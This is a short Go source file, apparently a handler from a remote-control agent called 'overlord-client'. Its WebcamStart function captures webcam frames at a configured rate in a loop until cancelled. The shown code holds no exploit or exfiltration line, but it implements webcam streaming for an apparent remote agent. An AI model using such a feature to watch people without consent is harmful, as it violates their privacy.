56 lines
1.1 KiB
Go
56 lines
1.1 KiB
Go
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package handlers
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import (
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"context"
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"log"
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"time"
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"overlord-client/cmd/agent/capture"
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rt "overlord-client/cmd/agent/runtime"
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)
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func WebcamStart(ctx context.Context, env *rt.Env) error {
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fps := env.WebcamFPS
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if fps <= 0 {
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fps = 30
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}
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if env.WebcamUseMaxFPS {
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fps = 60
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}
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if fps > 120 {
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fps = 120
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}
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interval := time.Second / time.Duration(fps)
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log.Printf("webcam: starting stream (max fps %d)", fps)
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defer capture.CleanupWebcam()
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ticker := time.NewTicker(interval)
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defer ticker.Stop()
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lastErrText := ""
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lastErrLogAt := time.Time{}
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for {
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select {
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case <-ctx.Done():
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log.Printf("webcam: stopping stream")
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return nil
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case <-ticker.C:
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if err := capture.NowWebcam(ctx, env); err != nil {
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if ctx.Err() != nil {
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log.Printf("webcam: stopping stream")
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return nil
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}
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errText := err.Error()
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now := time.Now()
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if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
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log.Printf("webcam: capture error: %v", err)
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lastErrText = errText
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lastErrLogAt = now
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}
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} else {
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lastErrText = ""
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lastErrLogAt = time.Time{}
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}
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}
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}
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}
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